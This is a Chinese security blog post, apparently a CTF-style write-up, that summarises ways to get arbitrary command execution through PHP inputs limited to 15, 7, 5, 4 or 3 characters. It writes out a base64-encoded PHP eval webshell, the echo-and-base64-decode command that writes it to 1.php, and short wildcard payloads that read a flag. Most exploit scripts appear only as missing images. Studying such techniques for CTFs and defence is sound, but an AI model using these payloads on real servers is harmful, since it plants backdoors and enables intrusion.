有限字符下的任意命令执行总结

  • A+
所属分类:安全文章

文章源自【字节脉搏社区】-字节脉搏实验室

作者-purplet

扫描下方二维码进入社区

有限字符下的任意命令执行总结

因为网上已经有很多大牛写过类似的文章了,所以本篇文章是一个总结梳理学习。

有限字符下的任意命令执行总结

15位可控字符下的命令执行

有限字符下的任意命令执行总结

因为只能传入14个字符,但是没有限制命令执行的次数,所以我们的思想可以通过Linux下的>符号与>>符号写入一段一句话木马到指定文件。

有限字符下的任意命令执行总结

有限字符下的任意命令执行总结

经测试上述这样的一句话木马(经过换行)是可以命令执行的,所以我们可以通过传参构造出这样的一句话木马,不断传入以下Payload:

有限字符下的任意命令执行总结

有限字符下的任意命令执行总结

有限字符下的任意命令执行总结

7位可控字符的命令执行

有限字符下的任意命令执行总结

预备知识:

有限字符下的任意命令执行总结

目标,写入语句“<?php eval($_GET[1]);”,base64编码后

“PD9waHAgZXZhbCgkX0dFVFsxXSk7”

需要被执行的语句是:

“echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php”

payload.txt

有限字符下的任意命令执行总结

有限字符下的任意命令执行总结

exp.py

有限字符下的任意命令执行总结

有限字符下的任意命令执行总结

攻击完成后就会生成1.php文件

有限字符下的任意命令执行总结

5位可控字符的命令执行

有限字符下的任意命令执行总结

预备知识:

1. 输入通配符 * ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数

2. 通过rev来倒置输出内容(rev命令将文件中的每行内容以字符为单位反序输出)

3. 用dir来代替ls不换行输出;rev将文件内容反向输出;在用ls时,写到a时每个文件名都是单独一行

>rev

echo 1234 > v

*v (等同于命令:rev v)<code class="prism language-bash has-numbering hljs"></code>

网上有两种解答的方式:一种是curl服务起上写好的文件,进行反弹Shell,而另一种就是写入一句话木马,网上文章详细的解释参看https://www.freesion.com/article/8743881775/,我来将可用性最高的一种方法记录下。

目的:echo${IFS}PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php

那么我们只需要将上面的代码拆分倒序输入到主机即可。我们需要让sh先执行a文件(ls -th >f)就会得到f文件,最后再让sh去执行f文件即可得到1.php。最终payload如下

payload.txt

有限字符下的任意命令执行总结

有限字符下的任意命令执行总结

exp.py

有限字符下的任意命令执行总结

有限字符下的任意命令执行总结

这里注意网上其他文 章并没有介绍说,这样利用有失败的可能,需要多跑几次脚本,我本地利用Kali的测试结果是如此。

有限字符下的任意命令执行总结

4位可控字符的命令执行

有限字符下的任意命令执行总结

原理与之前的5位是一样的,经测试构造的payload.txt内容去掉了一个也可以成功输出1.php

有限字符下的任意命令执行总结

有限字符下的任意命令执行总结

exp.py

有限字符下的任意命令执行总结

有限字符下的任意命令执行总结

但需要多尝试几次,这个成功的几率比5位的还略小一些,暂时不清楚为什么,可能跟系统版本有关系

有限字符下的任意命令执行总结

3位可控字符的命令执行

这个知识点来自CTFSHOW平台的【nl】难了 一题

有限字符下的任意命令执行总结

有限字符下的任意命令执行总结

只限3个字符的shell_exec,依然利用通配符 * 表示将ls下面的文件执行,如果第一个是命令就直接执行命令,后面的当参数,与前几点的原理类似

首先ls查看当前目录下有哪些文件  ?1=ls

有限字符下的任意命令执行总结

有限字符下的任意命令执行总结

只存在s开头的和z开头的文件,Linux中文件排序按照26个英文字母顺序排放,所以我们依然利用前几种字符限制的方法,通过>写入一个以命令名命名的文件,如:nl(读取文件带上行)od(八进制显示输出),但这样的命令前提是其第一个字母必须在当前文件名中排到第一位。

payload:?1=>nl   ?1=*或?1=*>z   第二种:?1=>od ?1=*

有限字符下的任意命令执行总结

有限字符下的任意命令执行总结

上图是传入nl后ls当前目录下的内容,接下来再传入?=*的时候就会在源代码中得到flag。

有限字符下的任意命令执行总结

有限字符下的任意命令执行总结

通知!

公众号招募文章投稿小伙伴啦!只要你有技术有想法要分享给更多的朋友,就可以参与到我们的投稿计划当中哦~感兴趣的朋友公众号首页菜单栏点击【商务合作-我要投稿】即可。期待大家的参与~

有限字符下的任意命令执行总结

记得扫码

关注我们

本文始发于微信公众号(字节脉搏实验室):有限字符下的任意命令执行总结

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: